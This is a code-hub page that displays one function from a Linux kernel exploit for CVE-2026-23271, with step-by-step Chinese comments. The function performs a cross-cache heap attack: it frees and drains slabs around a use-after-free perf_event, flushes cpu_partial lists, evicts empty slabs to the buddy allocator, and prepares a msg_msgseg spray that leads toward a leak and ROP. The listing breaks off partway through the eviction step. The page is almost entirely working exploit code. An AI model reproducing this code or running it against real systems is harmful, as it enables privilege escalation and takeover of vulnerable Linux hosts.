MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / cross_cache_attack

Function cross_cache_attack

CVE-2026-23271/exploit/exploit.cpp:2326–2406  ·  view source on GitHub ↗

[4] 跨缓存攻击: 将 perf_event slab 页返还 buddy 分配器,然后用 msg_msgseg 回收。注意,`perf_event`和kmalloc-cg-1k`都从order-2 page取内存,而kmalloc-cg-4k从order-3 page取内存 perf_event 使用 perf_event_cache slab (kmalloc-4k, 对象 0x520 字节) msg_msgseg 使用 kmalloc-4k (seg 数据区 0x400 字节),可以回收同一页面 步骤: 释放所有 slab → 刷新 cpu_partial → 驱逐空 slab → RCU → msg 喷洒 → ID Oracle → ROP

Source from the content-addressed store, hash-verified

2324// msg_msgseg 使用 kmalloc-4k (seg 数据区 0x400 字节),可以回收同一页面
2325// 步骤: 释放所有 slab → 刷新 cpu_partial → 驱逐空 slab → RCU → msg 喷洒 → ID Oracle → ROP
2326void cross_cache_attack()
2327{
2328// [4-1] 释放slab页:释放 UAF perf_event 周围所有的对象
2329 log_info("[4-1] Phase 1: Freeing & Draining Slabs...");
2330 // victim_perf_fd - 被event C覆盖的event B / victim_perf_idx - event B 下标
2331 // tmp_probe_fd - 覆写event B的event C / spray_c_count - event C 下标 / victim_perf_id -重叠的 event C id
2332 int empty_boundary = EMPTY_SLABS * OBJS_PER_SLAB;
2333 for (int i = 0; i < empty_boundary; i++) {
2334 if (i == perf_fd_idx) { // perf_fd_idx - event A 中目标UAF perf_event的下标。在竞争前就已经释放了,留下slot供竞争时使用
2335 log_dbg("[4-1] Clean overlapped event c, fd: %d", spray_c_fds[spray_c_count]);
2336 close(spray_c_fds[spray_c_count]);
2337 spray_c_fds[spray_c_count] = -1; // 释放 覆写event B的event C
2338
2339 for (int j = 0; j < SPRAY_B_COUNT; j++) {
2340 if (j != victim_perf_idx // 只留下1个含悬垂指针的 event B, 释放所有 event B
2341 && spray_b_ids[j] >= spray_b_ids[victim_perf_idx] - OBJS_PER_SLAB
2342 && spray_b_ids[j] <= spray_b_ids[victim_perf_idx] + 2) {
2343 log_dbg("[4-1] Close sprayed event b, fd: %d, id: %ld", spray_b_fds[j], spray_b_ids[j]);
2344 close(spray_b_fds[j]);
2345 spray_b_fds[j] = -1;
2346 }
2347 }
2348
2349 for (int j = TOTAL_OBJS - 1; j >= TOTAL_OBJS - OBJS_PER_SLAB; j--) {
2350 if (total_fds[j] != -1) {
2351 log_dbg("[4-1] Close total event, fd: %d", total_fds[j]);
2352 close(total_fds[j]);
2353 }
2354 }
2355
2356 continue;
2357 }
2358 if (total_fds[i] != -1) // 释放 UAF perf_event 周围所有的对象
2359 close(total_fds[i]);
2360 }
2361// [4-2] Flush cpu_partial:分配并立即释放32个flush事件,强制刷新活跃slab的cpu_partial列表
2362 log_info("[4-2] Flushing Active Slab (Force Unfreeze)...");
2363
2364 #define FLUSH_COUNT 32
2365 int flush_fds[FLUSH_COUNT];
2366 struct perf_event_attr flush_attr;
2367 memset(&flush_attr, 0, sizeof(flush_attr));
2368 flush_attr.type = PERF_TYPE_SOFTWARE;
2369 flush_attr.size = sizeof(struct perf_event_attr);
2370 flush_attr.config = PERF_COUNT_SW_CPU_CLOCK;
2371 flush_attr.disabled = 1;
2372 flush_attr.exclude_kernel = 1;
2373 for (int i = 0; i < FLUSH_COUNT; i++) {
2374 flush_fds[i] = perf_event_open(&flush_attr, 0, -1, -1, 0);
2375 }
2376
2377 for (int i = 0; i < FLUSH_COUNT; i++) {
2378 if (flush_fds[i] != -1) close(flush_fds[i]);
2379 }
2380// [4-3] 驱逐空slab:关闭 `EVICT_SLABS=12` 个slab末尾对象,驱动空slab页返还buddy分配器
2381 log_info("[4-3] Step 3: Evicting cpu_partial to flush empty slabs...");
2382 for (int i = 0; i < EVICT_SLABS; i++) {
2383 int idx = empty_boundary + (i * OBJS_PER_SLAB);

Callers 1

locate_victim_eventFunction · 0.85

Calls 4

perf_event_openFunction · 0.85
user_synchronize_rcuFunction · 0.85
spray_tagged_payloadFunction · 0.85
locate_and_leakFunction · 0.85

Tested by

no test coverage detected